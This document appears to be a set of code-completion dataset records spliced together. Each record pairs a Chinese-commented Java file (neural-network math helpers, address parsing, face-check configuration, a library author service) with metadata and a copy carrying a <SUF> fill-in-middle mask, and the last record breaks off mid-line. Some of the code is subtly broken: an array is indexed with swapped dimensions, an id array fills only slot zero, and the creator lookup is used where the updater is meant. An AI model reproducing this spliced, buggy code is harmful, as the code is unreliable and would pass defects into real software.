package xws.neuron; import com.alibaba.fastjson.JSON; import java.util.Random; /** * 神经网络的工具类 * Created by xws on 2019/2/19. */ public class UtilNeuralNet { public static double alpha = 0000000000000000000000000000001D; //扩展输入数据 如果步幅导致不能出现数据边界有未处理数据 public static double[][] extension(double[][] input, int height, int width, int strideX, int strideY) { int widthInput = input.length; int heightInput = input[0].length; //如果filter的 widthInput/(width+strideX)!=0 那么,就需要进行数据补充,以实现全部的卷积化 int modx = (widthInput - width) % strideX; int mody = (heightInput - height) % strideY; //新的width和height int widthNew = widthInput; int heightNew = heightInput; if (modx != 0) { widthNew = widthInput + strideX - modx; System.out.println("输入数据进行宽度扩展了"); } if (mody != 0) { heightNew = heightInput + strideY - mody; System.out.println("输入数据进行高度扩展了"); } //开辟新的输入数组 double[][] newInput = new double[widthNew][heightNew]; //然后开始复制数据 for (int h = 0; h < heightInput; h++) { for (int w = 0; w < widthInput; w++) { newInput[h][w] = input[h][w]; } } return newInput; } //卷积之前,对数据进行扩展 public static double[][] padding(double[][] input, int padding) { int heightInput = input.length; int widthInput = input[0].length; //新的width和height int widthNew = widthInput + padding * 2; int heightNew = heightInput + padding * 2; //开辟新的输入数组 double[][] newInput = new double[heightNew][widthNew]; //然后开始复制数据 for (int h = 0; h < heightInput; h++) { for (int w = 0; w < widthInput; w++) { newInput[h + padding][w + padding] = input[h][w]; } } return newInput; } //1*1卷积运算 public static double[][] convolution(double[][] input, double[][] input1) { double[][] result = new double[input.length][input[0].length]; for (int h = 0; h < input.length; h++) { for (int w = 0; w < input[h].length; w++) { result[h][w] = input[h][w] + input1[h][w]; } } return result; } //计算卷积之后的数据高度 public static int afterHeight(int inputHeight, int padding, int strideY, int height) { return (inputHeight + 2 * padding - height) / strideY + 1; } //计算卷积之后的数据宽度 public static int afterWidth(int inputWidth, int padding, int strideX, int width) { return (inputWidth + 2 * padding - width) / strideX + 1; } //宇宙常数e public static double e() { return 2.71828182845904523536; } public static double rate() { return e() * 0.0001; } //初始化单个数据 public static double initData() { Random random = new Random(); return random.nextGaussian() * 0.1; } //初始化bias public static void initBias(double[] bias) { for (int i = 0; i < bias.length; i++) { bias[i] = 0.0010000000474974513; } } //初始化weight public static void initWeight(double[] weight) { Random random = new Random(); for (int i = 0; i < weight.length; i++) { weight[i] = (random.nextGaussian() * 0.1); } } //初始化手写字符数据 public static void initMinst(double[] data) { for (int i = 0; i < data.length; i++) { data[i] = data[i] / 128d - 1d; // data[i] = data[i] / 256; } } //除以最大值,进行归一化 public static void initMax(double[] data) { double max = max(data); for (int i = 0; i < data.length; i++) { data[i] = data[i] / max; } } //求均值 public static double average(double[] val) { double total = 0; for (int i = 0; i < val.length; i++) { total = total + val[i]; } return total / val.length; } //求方差 public static double variance(double[] val) { double total = 0; double average = average(val); for (int i = 0; i < val.length; i++) { total = total + Math.pow(val[i] - average, 2); } return total / val.length; } //求方差 public static double variance(double[] val, double average) { double total = 0; for (int i = 0; i < val.length; i++) { total = total + Math.pow(val[i] - average, 2); } return total / val.length; } //取最大值 public static double max(double[] array) { double max = 0; for (int i = 0; i < array.length; i++) { max = Math.max(max, array[i]); } return max; } //取最小值 public static double min(double[] array) { double min = 9999; for (double d : array) { if (d < min) { min = d; } } return min; } //取最大值所在索引 public static int maxIndex(double[] array) { double max = 0; int maxIndex = 0; for (int i = 0; i < array.length; i++) { if (max < array[i]) { max = array[i]; maxIndex = i; } } return maxIndex; } //取数据概率 public static double[] probability(double[] array) { double max = max(array); //求每个元素的log值 double[] log = new double[array.length]; for (int i = 0; i < log.length; i++) { log[i] = Math.exp(array[i] - max); } double total = 0; //求分母 for (int i = 0; i < log.length; i++) { total = total + log[i]; } //求概率 for (int i = 0; i < log.length; i++) { log[i] = log[i] / total; } return log; } public static void main(String[] args) { double[] a = new double[]{2, 2, 3, 3}; double[] b = new double[]{0, 0, 5, 5}; System.out.println(average(a)); System.out.println(average(b)); System.out.println(variance(a)); System.out.println(variance(b)); double[] weight = new double[10]; initWeight(weight); System.out.println(JSON.toJSONString(weight)); } }
1036225283/xws
src/main/java/xws/neuron/UtilNeuralNet.java
1,908
//求均值
line_comment
zh-cn
package xws.neuron; import com.alibaba.fastjson.JSON; import java.util.Random; /** * 神经网络的工具类 * Created by xws on 2019/2/19. */ public class UtilNeuralNet { public static double alpha = 0000000000000000000000000000001D; //扩展输入数据 如果步幅导致不能出现数据边界有未处理数据 public static double[][] extension(double[][] input, int height, int width, int strideX, int strideY) { int widthInput = input.length; int heightInput = input[0].length; //如果filter的 widthInput/(width+strideX)!=0 那么,就需要进行数据补充,以实现全部的卷积化 int modx = (widthInput - width) % strideX; int mody = (heightInput - height) % strideY; //新的width和height int widthNew = widthInput; int heightNew = heightInput; if (modx != 0) { widthNew = widthInput + strideX - modx; System.out.println("输入数据进行宽度扩展了"); } if (mody != 0) { heightNew = heightInput + strideY - mody; System.out.println("输入数据进行高度扩展了"); } //开辟新的输入数组 double[][] newInput = new double[widthNew][heightNew]; //然后开始复制数据 for (int h = 0; h < heightInput; h++) { for (int w = 0; w < widthInput; w++) { newInput[h][w] = input[h][w]; } } return newInput; } //卷积之前,对数据进行扩展 public static double[][] padding(double[][] input, int padding) { int heightInput = input.length; int widthInput = input[0].length; //新的width和height int widthNew = widthInput + padding * 2; int heightNew = heightInput + padding * 2; //开辟新的输入数组 double[][] newInput = new double[heightNew][widthNew]; //然后开始复制数据 for (int h = 0; h < heightInput; h++) { for (int w = 0; w < widthInput; w++) { newInput[h + padding][w + padding] = input[h][w]; } } return newInput; } //1*1卷积运算 public static double[][] convolution(double[][] input, double[][] input1) { double[][] result = new double[input.length][input[0].length]; for (int h = 0; h < input.length; h++) { for (int w = 0; w < input[h].length; w++) { result[h][w] = input[h][w] + input1[h][w]; } } return result; } //计算卷积之后的数据高度 public static int afterHeight(int inputHeight, int padding, int strideY, int height) { return (inputHeight + 2 * padding - height) / strideY + 1; } //计算卷积之后的数据宽度 public static int afterWidth(int inputWidth, int padding, int strideX, int width) { return (inputWidth + 2 * padding - width) / strideX + 1; } //宇宙常数e public static double e() { return 2.71828182845904523536; } public static double rate() { return e() * 0.0001; } //初始化单个数据 public static double initData() { Random random = new Random(); return random.nextGaussian() * 0.1; } //初始化bias public static void initBias(double[] bias) { for (int i = 0; i < bias.length; i++) { bias[i] = 0.0010000000474974513; } } //初始化weight public static void initWeight(double[] weight) { Random random = new Random(); for (int i = 0; i < weight.length; i++) { weight[i] = (random.nextGaussian() * 0.1); } } //初始化手写字符数据 public static void initMinst(double[] data) { for (int i = 0; i < data.length; i++) { data[i] = data[i] / 128d - 1d; // data[i] = data[i] / 256; } } //除以最大值,进行归一化 public static void initMax(double[] data) { double max = max(data); for (int i = 0; i < data.length; i++) { data[i] = data[i] / max; } } //求均 <SUF> public static double average(double[] val) { double total = 0; for (int i = 0; i < val.length; i++) { total = total + val[i]; } return total / val.length; } //求方差 public static double variance(double[] val) { double total = 0; double average = average(val); for (int i = 0; i < val.length; i++) { total = total + Math.pow(val[i] - average, 2); } return total / val.length; } //求方差 public static double variance(double[] val, double average) { double total = 0; for (int i = 0; i < val.length; i++) { total = total + Math.pow(val[i] - average, 2); } return total / val.length; } //取最大值 public static double max(double[] array) { double max = 0; for (int i = 0; i < array.length; i++) { max = Math.max(max, array[i]); } return max; } //取最小值 public static double min(double[] array) { double min = 9999; for (double d : array) { if (d < min) { min = d; } } return min; } //取最大值所在索引 public static int maxIndex(double[] array) { double max = 0; int maxIndex = 0; for (int i = 0; i < array.length; i++) { if (max < array[i]) { max = array[i]; maxIndex = i; } } return maxIndex; } //取数据概率 public static double[] probability(double[] array) { double max = max(array); //求每个元素的log值 double[] log = new double[array.length]; for (int i = 0; i < log.length; i++) { log[i] = Math.exp(array[i] - max); } double total = 0; //求分母 for (int i = 0; i < log.length; i++) { total = total + log[i]; } //求概率 for (int i = 0; i < log.length; i++) { log[i] = log[i] / total; } return log; } public static void main(String[] args) { double[] a = new double[]{2, 2, 3, 3}; double[] b = new double[]{0, 0, 5, 5}; System.out.println(average(a)); System.out.println(average(b)); System.out.println(variance(a)); System.out.println(variance(b)); double[] weight = new double[10]; initWeight(weight); System.out.println(JSON.toJSONString(weight)); } }
0
1,807
4
1,908
4
2,073
4
1,908
4
2,328
6
false
false
false
false
false
true
26648_10
//package AddressBook; import java.util.regex.Matcher; import java.util.regex.Pattern; import org.json.JSONArray; import org.json.JSONObject; public class Resolution { public static JSONObject addressResolution(String txt,char flag) { JSONObject jsonObject=new JSONObject(); //char flag=txt.charAt(0);//flag为难度级别 int endIndex1=txt.lastIndexOf(",");//取出逗号的索引 String name=txt.substring(0, endIndex1);//截取姓名 //取手机号 String pNumber=null; String REPLACE = ""; String regexP = "0?(13|14|15|18|17)[0-9]{9}"; Pattern r = Pattern.compile(regexP); Matcher m = r.matcher(txt); if (m.find()) { pNumber=m.group(); } txt = m.replaceAll(REPLACE); /** * txt1用来调api,txt用正则表达式 */ //取走#号 String txt1=txt; int jingIndex=txt1.lastIndexOf("#"); if(jingIndex!=-1) txt1=txt1.substring(0, jingIndex)+txt1.substring(jingIndex+1); //取出纯地址信息 int endIndex2=txt.lastIndexOf("."); txt=txt.substring(endIndex1+1, endIndex2); AddressUtils addressutils=new AddressUtils(); AddressInfo addr=addressutils.addressInfo;//地址信息对象 addr.setName(name); addr.setPhoneNumber(pNumber); addressutils.GetAddress(txt1);//参数中不能有“#”,要去掉,使用txt1 //未处理具体地址中包含市县的情况 String province =addr.getProvince(); String county=addr.getCounty(); String city=addr.getCity(); int l=province.length()+county.length()+city.length(); String txtCheck=txt.substring(0, l); int index=0; //地址中是否有省 if(province.length()>0) { if(txtCheck.indexOf(province.substring(0, province.length()-1))!=-1) { index+=province.length()-1; if(txtCheck.indexOf(province)!=-1) index++; } else { addr.setProvince(""); } } //地址中是否有市 if(city.length()>0) { if(txtCheck.indexOf(city.substring(0, city.length()-1))!=-1) { index+=city.length()-1; if(txtCheck.indexOf(city)!=-1) index++; } else { addr.setCity(""); } } //地址中是否有县 if(county.length()>0) { if(txtCheck.indexOf(county.substring(0, county.length()-1))!=-1) { index+=county.length()-1; if(txtCheck.indexOf(county)!=-1) index++; } else { addr.setCounty(""); } } txt=txt.substring(index); // int countyIndex=txt.indexOf(county); // if(countyIndex==-1||county==""||countyIndex==0) // { // int cityIndex=txt.indexOf(city); // if(cityIndex==-1) // { // city=city.substring(0, city.length()-1); // cityIndex=txt.indexOf(city); // } // txt=txt.substring(cityIndex+city.length()); // } // else // { // txt=txt.substring(countyIndex+county.length()); // } addressutils.addressResolution(txt, flag); //把地址信息存入json jsonObject.put("姓名", addr.getName()); jsonObject.put("手机", addr.getPhoneNumber()); JSONArray addressArray = new JSONArray(); addressArray.put(addr.getProvince()); addressArray.put(addr.getCity()); addressArray.put(addr.getCounty()); addressArray.put(addr.getTown()); addressArray.put(addr.getVillage1()); if(flag=='2') { addressArray.put(addr.getVillage2()); addressArray.put(addr.getVillage3()); } jsonObject.put("地址", addressArray); //System.out.println(jsonObject.toString()); return jsonObject; } }
1061413241/AddressBook
Resolution.java
1,175
//未处理具体地址中包含市县的情况
line_comment
zh-cn
//package AddressBook; import java.util.regex.Matcher; import java.util.regex.Pattern; import org.json.JSONArray; import org.json.JSONObject; public class Resolution { public static JSONObject addressResolution(String txt,char flag) { JSONObject jsonObject=new JSONObject(); //char flag=txt.charAt(0);//flag为难度级别 int endIndex1=txt.lastIndexOf(",");//取出逗号的索引 String name=txt.substring(0, endIndex1);//截取姓名 //取手机号 String pNumber=null; String REPLACE = ""; String regexP = "0?(13|14|15|18|17)[0-9]{9}"; Pattern r = Pattern.compile(regexP); Matcher m = r.matcher(txt); if (m.find()) { pNumber=m.group(); } txt = m.replaceAll(REPLACE); /** * txt1用来调api,txt用正则表达式 */ //取走#号 String txt1=txt; int jingIndex=txt1.lastIndexOf("#"); if(jingIndex!=-1) txt1=txt1.substring(0, jingIndex)+txt1.substring(jingIndex+1); //取出纯地址信息 int endIndex2=txt.lastIndexOf("."); txt=txt.substring(endIndex1+1, endIndex2); AddressUtils addressutils=new AddressUtils(); AddressInfo addr=addressutils.addressInfo;//地址信息对象 addr.setName(name); addr.setPhoneNumber(pNumber); addressutils.GetAddress(txt1);//参数中不能有“#”,要去掉,使用txt1 //未处 <SUF> String province =addr.getProvince(); String county=addr.getCounty(); String city=addr.getCity(); int l=province.length()+county.length()+city.length(); String txtCheck=txt.substring(0, l); int index=0; //地址中是否有省 if(province.length()>0) { if(txtCheck.indexOf(province.substring(0, province.length()-1))!=-1) { index+=province.length()-1; if(txtCheck.indexOf(province)!=-1) index++; } else { addr.setProvince(""); } } //地址中是否有市 if(city.length()>0) { if(txtCheck.indexOf(city.substring(0, city.length()-1))!=-1) { index+=city.length()-1; if(txtCheck.indexOf(city)!=-1) index++; } else { addr.setCity(""); } } //地址中是否有县 if(county.length()>0) { if(txtCheck.indexOf(county.substring(0, county.length()-1))!=-1) { index+=county.length()-1; if(txtCheck.indexOf(county)!=-1) index++; } else { addr.setCounty(""); } } txt=txt.substring(index); // int countyIndex=txt.indexOf(county); // if(countyIndex==-1||county==""||countyIndex==0) // { // int cityIndex=txt.indexOf(city); // if(cityIndex==-1) // { // city=city.substring(0, city.length()-1); // cityIndex=txt.indexOf(city); // } // txt=txt.substring(cityIndex+city.length()); // } // else // { // txt=txt.substring(countyIndex+county.length()); // } addressutils.addressResolution(txt, flag); //把地址信息存入json jsonObject.put("姓名", addr.getName()); jsonObject.put("手机", addr.getPhoneNumber()); JSONArray addressArray = new JSONArray(); addressArray.put(addr.getProvince()); addressArray.put(addr.getCity()); addressArray.put(addr.getCounty()); addressArray.put(addr.getTown()); addressArray.put(addr.getVillage1()); if(flag=='2') { addressArray.put(addr.getVillage2()); addressArray.put(addr.getVillage3()); } jsonObject.put("地址", addressArray); //System.out.println(jsonObject.toString()); return jsonObject; } }
0
956
9
1,175
11
1,149
10
1,175
11
1,509
22
false
false
false
false
false
true
31172_5
package com.jaydenxiao.androidfire.ui.ClockResult.config; import android.content.Context; import android.os.Environment; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.Serializable; import java.util.Properties; /** * Created by xtt on 2017/9/7. * */ public class FaceTimeConfig implements Serializable{ public Properties properties; public static final String facedbpath= Environment.getExternalStorageDirectory().getAbsolutePath()+"/checkfacedb"; public static final String filepath= Environment.getExternalStorageDirectory().getAbsolutePath()+"/com.checkface.config"; public static final String facescore=Environment.getExternalStorageDirectory().getAbsolutePath()+"/com.checkface.config/facescore"; public static final String configFileName="faceconfig.properties"; public static final String lastSettingTime="lastSettingTime";//最新系统配置时间 public static final String needSync="needSync";//最新用户图片更新时间 public static final String SCEN_THRESHOLD="SCEN_THRESHOLD";//人脸识别阈值 public static final String FACE_SIZE="FACE_SIZE";//最小人脸像素大小 public static final String CONTINUE_FACE_MAXCOUNT="CONTINUE_FACE_MAXCOUNT";//人走开,最大持续人脸数字 public static final String WAIT_TIME_COUNT="WAIT_TIME_COUNT";//待机之前持续时间次数 private String path; private Context context; private FaceTimeConfig(){} public FaceTimeConfig(Context context){ this.context=context; path=filepath+"/"+configFileName; properties=loadConfig(path); if(properties==null){ properties=new Properties(); saveConfig(path,properties); } } public Properties loadConfig(String file) { Properties properties = new Properties(); try { FileInputStream s = new FileInputStream(file); properties.load(s); } catch (Exception e) { e.printStackTrace(); return null; } return properties; } //保存配置文件 public boolean saveConfig( String file, Properties properties) { try { File fil=new File(file); if(!fil.exists()) fil.createNewFile(); FileOutputStream s = new FileOutputStream(fil); properties.store(s, ""); } catch (Exception e) { e.printStackTrace(); return false; } return true; } public void addConfig(String key,String value){ properties.put(key,value); saveConfig(path,properties); } public void removeConfig(String key){ properties.remove(key); saveConfig(path,properties); } public String getConfig(String key){ return properties.getProperty(key); } }
1097919195/FaceCheck
app/src/main/java/com/jaydenxiao/androidfire/ui/ClockResult/config/FaceTimeConfig.java
642
//人走开,最大持续人脸数字
line_comment
zh-cn
package com.jaydenxiao.androidfire.ui.ClockResult.config; import android.content.Context; import android.os.Environment; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.Serializable; import java.util.Properties; /** * Created by xtt on 2017/9/7. * */ public class FaceTimeConfig implements Serializable{ public Properties properties; public static final String facedbpath= Environment.getExternalStorageDirectory().getAbsolutePath()+"/checkfacedb"; public static final String filepath= Environment.getExternalStorageDirectory().getAbsolutePath()+"/com.checkface.config"; public static final String facescore=Environment.getExternalStorageDirectory().getAbsolutePath()+"/com.checkface.config/facescore"; public static final String configFileName="faceconfig.properties"; public static final String lastSettingTime="lastSettingTime";//最新系统配置时间 public static final String needSync="needSync";//最新用户图片更新时间 public static final String SCEN_THRESHOLD="SCEN_THRESHOLD";//人脸识别阈值 public static final String FACE_SIZE="FACE_SIZE";//最小人脸像素大小 public static final String CONTINUE_FACE_MAXCOUNT="CONTINUE_FACE_MAXCOUNT";//人走 <SUF> public static final String WAIT_TIME_COUNT="WAIT_TIME_COUNT";//待机之前持续时间次数 private String path; private Context context; private FaceTimeConfig(){} public FaceTimeConfig(Context context){ this.context=context; path=filepath+"/"+configFileName; properties=loadConfig(path); if(properties==null){ properties=new Properties(); saveConfig(path,properties); } } public Properties loadConfig(String file) { Properties properties = new Properties(); try { FileInputStream s = new FileInputStream(file); properties.load(s); } catch (Exception e) { e.printStackTrace(); return null; } return properties; } //保存配置文件 public boolean saveConfig( String file, Properties properties) { try { File fil=new File(file); if(!fil.exists()) fil.createNewFile(); FileOutputStream s = new FileOutputStream(fil); properties.store(s, ""); } catch (Exception e) { e.printStackTrace(); return false; } return true; } public void addConfig(String key,String value){ properties.put(key,value); saveConfig(path,properties); } public void removeConfig(String key){ properties.remove(key); saveConfig(path,properties); } public String getConfig(String key){ return properties.getProperty(key); } }
0
540
9
642
12
673
10
642
12
796
19
false
false
false
false
false
true
65101_6
package com.nhXJH.web.service.impl; import java.util.*; import com.nhXJH.common.core.domain.entity.SysUser; import com.nhXJH.common.enums.application.StatusEnums; import com.nhXJH.common.enums.application.TableTypeEnums; import com.nhXJH.enums.FileTypeEnums; import com.nhXJH.system.mapper.SysUserMapper; import com.nhXJH.web.domain.AttachFile; import com.nhXJH.web.domain.BaseFile; import com.nhXJH.web.domain.LibraryAuth; import com.nhXJH.common.utils.DateUtils; import com.nhXJH.web.domain.param.AuthParam; import com.nhXJH.web.domain.vo.AuthVO; import com.nhXJH.web.mapper.BaseFileMapper; import com.nhXJH.web.service.IBaseFileService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import com.nhXJH.web.mapper.LibraryAuthMapper; import com.nhXJH.web.service.ILibraryAuthService; import org.springframework.transaction.annotation.Transactional; /** * 作信息者Service业务层处理 * * @author xjh * @date 2022-01-25 */ @Service public class LibraryAuthServiceImpl extends ServiceImpl<LibraryAuthMapper, LibraryAuth> implements ILibraryAuthService { @Autowired private LibraryAuthMapper libraryAuthMapper; @Autowired private IBaseFileService baseFileMapper; @Autowired private BaseFileMapper mapper; @Autowired private SysUserMapper userMapper; /** * 查询作信息者 * * @param id 作信息者主键 * @return 作信息者 */ // @Override // public LibraryAuth selectLibraryAuthById(Long id) { // return libraryAuthMapper.selectLibraryAuthById(id); // } @Override public AuthVO selectLibraryAuthById(Long id) { LibraryAuth auth = libraryAuthMapper.selectLibraryAuthById(id); SysUser createUser = userMapper.selectUserById(auth.getCreatePersonal()); SysUser updateUser = userMapper.selectUserById(auth.getCreatePersonal()); AuthVO authVO = new AuthVO(auth,createUser,updateUser); return authVO; } @Override public Integer getCount(LibraryAuth libraryAuth) { return libraryAuthMapper.getCount(libraryAuth); } /** * 查询作信息者列表 * * @param libraryAuth 作信息者 * @return 作信息者 */ @Override public List<AuthVO> selectLibraryAuthList(LibraryAuth libraryAuth) { List<LibraryAuth> authList = libraryAuthMapper.selectLibraryAuthList(libraryAuth); //查无数据时 if(null == authList || authList.size()<=0){ return new ArrayList<AuthVO>(); } Set<Long> idSet = new HashSet<>(); authList.forEach(auth->{ idSet.add(auth.getCreatePersonal()); idSet.add(auth.getUpdatePersonal()); }); Long[] ids = new Long[idSet.size()]; int index = 0; idSet.forEach(set->{ ids[index] = set; }); List<SysUser> users = userMapper.selectUserByIds(ids); Map<Long,SysUser> userMap = new HashMap<>(); users.forEach(u->{ userMap.put(u.getUserId(),u); }); List<AuthVO> result = new ArrayList<>(); authList.forEach(auth -> { result.add( new AuthVO( auth, userMap.get(auth.getCreatePersonal()), userMap.get(auth.getUpdatePersonal()) ) ); }); return result; } /** * 新增作信息者 * * @param libraryAuth 作信息者 * @return 结果 */ @Override @Transactional public List<BaseFile> insertLibraryAuth(AuthParam libraryAuth) { libraryAuth.setCreateTime(DateUtils.getNowDate()); LibraryAuth auth = libraryAuth.getAuth(); int result = libraryAuthMapper.insertLibraryAuth(auth); List<AttachFile> files = libraryAuth.getPicList(); List<BaseFile> baseFiles = new ArrayList<>(); if ( files != null && files.size()>0 ) { //新增图片信息 for (AttachFile file : files) { BaseFile baseFile = new BaseFile(); baseFile.setFileId(file.getId()); baseFile.setDbId(TableTypeEnums.AUTH.getCode()); baseFile.setModelId(auth.getId()); baseFile.setCreatePerson(file.getCreatePerson()); baseFile.setMark("作家:"+libraryAuth.getName()); baseFile.setUrl(file.getUrl()); baseFile.setCreateTime(file.getCreateTime()); baseFiles.add(baseFile); } baseFileMapper.insertBaseFile(baseFiles); } return baseFiles; } /** * 修改作信息者 * * @param libraryAuth 作信息者 * @return 结果 */ @Override @Transactional public List<BaseFile> updateLibraryAuth(AuthParam libraryAuth) { libraryAuth.setUpdateTime(DateUtils.getNowDate()); int result = libraryAuthMapper.updateLibraryAuth(libraryAuth.getAuth()); List<AttachFile> files = libraryAuth.getPicList(); BaseFile query = new BaseFile(); query.setModelId(libraryAuth.getId()); query.setDbId(TableTypeEnums.AUTH.getCode()); query.setStatus(StatusEnums.ONE.getDesc()); List<BaseFile> savedFile = baseFileMapper.selectBaseFileList(query); Long filesIds[] = new Long[ (savedFile==null) ? 0:savedFile.size()]; for (int index = 0 ;index<filesIds.length;index++) { filesIds[index] = savedFile.get(index).getFileId(); } //清空原有图片信息 if (filesIds.length>0) { baseFileMapper.deleteBaseFileByFileIds(filesIds,libraryAuth.getUpdatePersonal()); } List<BaseFile> baseFiles = new ArrayList<>(); //添加新图片 if (files != null && files.size()>0 ){ //新增图片信息 for (AttachFile file : files) { BaseFile baseFile = new BaseFile(); baseFile.setFileId(file.getSnowID()); baseFile.setDbId(TableTypeEnums.AUTH.getCode()); baseFile.setModelId(libraryAuth.getId()); baseFile.setCreatePerson(file.getCreatePerson()); baseFile.setType(FileTypeEnums.PICTURE.getValue());//图片文件 baseFile.setMark(file.getMark()==null?"":file.getMark()); baseFile.setUrl(file.getUrl()); baseFile.setCreateTime(file.getCreateTime()); baseFile.setStatus(StatusEnums.ONE.getDesc()); baseFiles.add(baseFile); } baseFileMapper.insertBaseFile(baseFiles); } return baseFiles; } @Transactional public int addPic(List<AttachFile> files,LibraryAuth auth) { if (files != null && files.size() > 0) { //新增图片信息 List<BaseFile> baseFiles = new ArrayList<>(); for (AttachFile file : files) { BaseFile baseFile = new BaseFile(); baseFile.setFileId(file.getId()); baseFile.setDbId(TableTypeEnums.AUTH.getCode()); baseFile.setModelId(auth.getId()); baseFile.setCreatePerson(file.getCreatePerson()); baseFile.setMark(file.getMark()); baseFile.setUrl(file.getUrl()); baseFile.setCreateTime(file.getCreateTime()); baseFiles.add(baseFile); } return baseFileMapper.insertBaseFile(baseFiles); } return 0; } /** * 批量删除作信息者 * * @param ids 需要删除的作信息者主键 * @return 结果 */ @Override public int deleteLibraryAuthByIds(Long[] ids,Long operator) { return libraryAuthMapper.deleteLibraryAuthByIds(ids,operator); } /** * 删除作信息者信息 * * @param id 作信息者主键 * @return 结果 */ @Override public int deleteLibraryAuthById(Long id,Long operator) { return libraryAuthMapper.deleteLibraryAuthById(id,operator); } /** * 修改状态 * * @param auth 作者信息 * @return 修改结果 */ @Override public int updateUserStatus(LibraryAuth auth){ return libraryAuthMapper.updateLibraryAuth(auth); } }
11000100111010101100111/SpringBoot-Vue-libraryManagerSystem
nhXJH-admin/src/main/java/com/nhXJH/web/service/impl/LibraryAuthServiceImpl.java
2,082
//查无数据时
line_comment
zh-cn
package com.nhXJH.web.service.impl; import java.util.*; import com.nhXJH.common.core.domain.entity.SysUser; import com.nhXJH.common.enums.application.StatusEnums; import com.nhXJH.common.enums.application.TableTypeEnums; import com.nhXJH.enums.FileTypeEnums; import com.nhXJH.system.mapper.SysUserMapper; import com.nhXJH.web.domain.AttachFile; import com.nhXJH.web.domain.BaseFile; import com.nhXJH.web.domain.LibraryAuth; import com.nhXJH.common.utils.DateUtils; import com.nhXJH.web.domain.param.AuthParam; import com.nhXJH.web.domain.vo.AuthVO; import com.nhXJH.web.mapper.BaseFileMapper; import com.nhXJH.web.service.IBaseFileService; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Service; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import com.nhXJH.web.mapper.LibraryAuthMapper; import com.nhXJH.web.service.ILibraryAuthService; import org.springframework.transaction.annotation.Transactional; /** * 作信息者Service业务层处理 * * @author xjh * @date 2022-01-25 */ @Service public class LibraryAuthServiceImpl extends ServiceImpl<LibraryAuthMapper, LibraryAuth> implements ILibraryAuthService { @Autowired private LibraryAuthMapper libraryAuthMapper; @Autowired private IBaseFileService baseFileMapper; @Autowired private BaseFileMapper mapper; @Autowired private SysUserMapper userMapper; /** * 查询作信息者 * * @param id 作信息者主键 * @return 作信息者 */ // @Override // public LibraryAuth selectLibraryAuthById(Long id) { // return libraryAuthMapper.selectLibraryAuthById(id); // } @Override public AuthVO selectLibraryAuthById(Long id) { LibraryAuth auth = libraryAuthMapper.selectLibraryAuthById(id); SysUser createUser = userMapper.selectUserById(auth.getCreatePersonal()); SysUser updateUser = userMapper.selectUserById(auth.getCreatePersonal()); AuthVO authVO = new AuthVO(auth,createUser,updateUser); return authVO; } @Override public Integer getCount(LibraryAuth libraryAuth) { return libraryAuthMapper.getCount(libraryAuth); } /** * 查询作信息者列表 * * @param libraryAuth 作信息者 * @return 作信息者 */ @Override public List<AuthVO> selectLibraryAuthList(LibraryAuth libraryAuth) { List<LibraryAuth> authList = libraryAuthMapper.selectLibraryAuthList(libraryAuth); //查无 <SUF> if(null == authList || authList.size()<=0){ return new ArrayList<AuthVO>(); } Set<Long> idSet = new HashSet<>(); authList.forEach(auth->{ idSet.add(auth.getCreatePersonal()); idSet.add(auth.getUpdatePersonal()); }); Long[] ids = new Long[idSet.size()]; int index = 0; idSet.forEach(set->{ ids[index] = set; }); List<SysUser> users = userMapper.selectUserByIds(ids); Map<Long,SysUser> userMap = new HashMap<>(); users.forEach(u->{ userMap.put(u.getUserId(),u); }); List<AuthVO> result = new ArrayList<>(); authList.forEach(auth -> { result.add( new AuthVO( auth, userMap.get(auth.getCreatePersonal()), userMap.get(auth.getUpdatePersonal()) ) ); }); return result; } /** * 新增作信息者 * * @param libraryAuth 作信息者 * @return 结果 */ @Override @Transactional public List<BaseFile> insertLibraryAuth(AuthParam libraryAuth) { libraryAuth.setCreateTime(DateUtils.getNowDate()); LibraryAuth auth = libraryAuth.getAuth(); int result = libraryAuthMapper.insertLibraryAuth(auth); List<AttachFile> files = libraryAuth.getPicList(); List<BaseFile> baseFiles = new ArrayList<>(); if ( files != null && files.size()>0 ) { //新增图片信息 for (AttachFile file : files) { BaseFile baseFile = new BaseFile(); baseFile.setFileId(file.getId()); baseFile.setDbId(TableTypeEnums.AUTH.getCode()); baseFile.setModelId(auth.getId()); baseFile.setCreatePerson(file.getCreatePerson()); baseFile.setMark("作家:"+libraryAuth.getName()); baseFile.setUrl(file.getUrl()); baseFile.setCreateTime(file.getCreateTime()); baseFiles.add(baseFile); } baseFileMapper.insertBaseFile(baseFiles); } return baseFiles; } /** * 修改作信息者 * * @param libraryAuth 作信息者 * @return 结果 */ @Override @Transactional public List<BaseFile> updateLibraryAuth(AuthParam libraryAuth) { libraryAuth.setUpdateTime(DateUtils.getNowDate()); int result = libraryAuthMapper.updateLibraryAuth(libraryAuth.getAuth()); List<AttachFile> files = libraryAuth.getPicList(); BaseFile query = new BaseFile(); query.setModelId(libraryAuth.getId()); query.setDbId(TableTypeEnums.AUTH.getCode()); query.setStatus(StatusEnums.ONE.getDesc()); List<BaseFile> savedFile = baseFileMapper.selectBaseFileList(query); Long filesIds[] = new Long[ (savedFile==null) ? 0:savedFile.size()]; for (int index = 0 ;index<filesIds.length;index++) { filesIds[index] = savedFile.get(index).getFileId(); } //清空原有图片信息 if (filesIds.length>0) { baseFileMapper.deleteBaseFileByFileIds(filesIds,libraryAuth.getUpdatePersonal()); } List<BaseFile> baseFiles = new ArrayList<>(); //添加新图片 if (files != null && files.size()>0 ){ //新增图片信息 for (AttachFile file : files) { BaseFile baseFile = new BaseFile(); baseFile.setFileId(file.getSnowID()); baseFile.setDbId(TableTypeEnums.AUTH.getCode()); baseFile.setModelId(libraryAuth.getId()); baseFile.setCreatePerson(file.getCreatePerson()); baseFile.setType(FileTypeEnums.PICTURE.getValue());//图片文件 baseFile.setMark(file.getMark()==null?"":file.getMark()); baseFile.setUrl(file.getUrl()); baseFile.setCreateTime(file.getCreateTime()); baseFile.setStatus(StatusEnums.ONE.getDesc()); baseFiles.add(baseFile); } baseFileMapper.insertBaseFile(baseFiles); } return baseFiles; } @Transactional public int addPic(List<AttachFile> files,LibraryAuth auth) { if (files != null && files.size() > 0) { //新增图片信息 List<BaseFile> baseFiles = new ArrayList<>(); for (AttachFile file : files) { BaseFile baseFile = new 